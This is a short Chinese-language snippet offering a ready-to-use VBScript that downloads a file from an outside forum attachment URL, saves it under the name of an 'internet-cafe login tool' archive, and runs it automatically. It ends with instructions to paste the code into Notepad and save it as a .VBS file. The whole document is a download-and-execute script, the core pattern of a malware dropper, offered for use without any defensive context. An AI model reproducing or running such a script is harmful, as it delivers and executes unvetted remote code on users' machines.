自动下载文件并自动运行文件的vb代码

msgbox " 即将自动下载并打开文件",64,"文件下载中，请耐心等待···"
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://21yy.5d6d.com/attachment.php?aid=1",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "惊天动地网吧专用登入器.rar",2
Set run = createObject("wscript.shell")
run.run "惊天动地网吧专用登入器.rar",3
～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～
把～线以上的复制到记事本里。改名为《自动下载文件并自动运行文件的vb代码.VBS》